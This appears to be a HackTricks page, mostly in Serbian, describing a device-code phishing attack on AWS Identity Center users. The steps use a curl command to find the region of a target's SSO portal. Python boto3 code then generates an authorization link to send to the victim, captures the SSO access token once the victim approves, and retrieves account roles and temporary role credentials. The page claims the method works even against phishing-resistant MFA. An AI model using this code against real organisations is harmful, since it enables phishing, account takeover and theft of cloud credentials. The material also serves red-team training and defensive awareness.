AWS - Identity Center & SSO Unauthenticated Enum

Reading time: 5 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

AWS Device Code Phishing

Prvobitno predloženo u ovom blog postu, moguće je poslati link korisniku koji koristi AWS SSO, koji ako korisnik prihvati, napadač će moći da dobije token za impersonaciju korisnika i pristup svim rolama kojima korisnik može da pristupi u Identity Center.

Da bi se izveo ovaj napad, zahtevi su:

  • Žrtva mora koristiti Identity Center
  • Napadač mora znati subdomen koji koristi žrtva <victimsub>.awsapps.com/start

Samo sa prethodnim informacijama, napadač će moći da pošalje link korisniku koji, ako bude prihvaćen, omogućava napadaču pristup AWS korisničkom nalogu.

Attack

  1. Finding the subdomain

Prvi korak napadača je da sazna koji subdomen koristi kompanija žrtve u svom Identity Center. Ovo se može uraditi putem OSINT ili pogađanja + BF, jer većina kompanija koristi svoje ime ili varijaciju svog imena ovde.

Sa ovom informacijom, moguće je dobiti region u kojem je Identity Center konfigurisan:

bash
curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. Generišite link za žrtvu i pošaljite ga

Pokrenite sledeći kod da generišete AWS SSO login link kako bi žrtva mogla da se autentifikuje.
Za demo, pokrenite ovaj kod u python konzoli i ne izlazite iz nje jer će vam kasnije biti potrebni neki objekti za dobijanje tokena:

python
import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)

Pošaljite generisanu vezu žrtvi koristeći svoje sjajne veštine socijalnog inženjeringa!

  1. Sačekajte da žrtva prihvati

Ako je žrtva već bila prijavljena na AWS, samo će morati da prihvati dodeljivanje dozvola, ako nije, moraće da se prijavi i zatim prihvati dodeljivanje dozvola.
Ovako izgleda promp danas:

  1. Dobijte SSO pristupni token

Ako je žrtva prihvatila promp, pokrenite ovaj kod da generišete SSO token imitujući korisnika:

python
token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

SSO pristupni token je važeći 8h.

  1. Imitirati korisnika
python
sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

Phishing the unphisable MFA

Zanimljivo je znati da prethodni napad radi čak i ako se koristi "unphisable MFA" (webAuth). To je zato što prethodni tok rada nikada ne napušta korišćeni OAuth domen. Za razliku od drugih phishing napada gde korisnik mora da zameni domen za prijavu, u ovom slučaju je tok rada sa kodom uređaja pripremljen tako da kod poznaje uređaj i korisnik može da se prijavi čak i na drugom računaru. Ako se prihvati promp, uređaj, samo znajući inicijalni kod, će moći da dobije akreditive za korisnika.

Za više informacija o ovome proverite ovaj post.

Automatic Tools

References

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks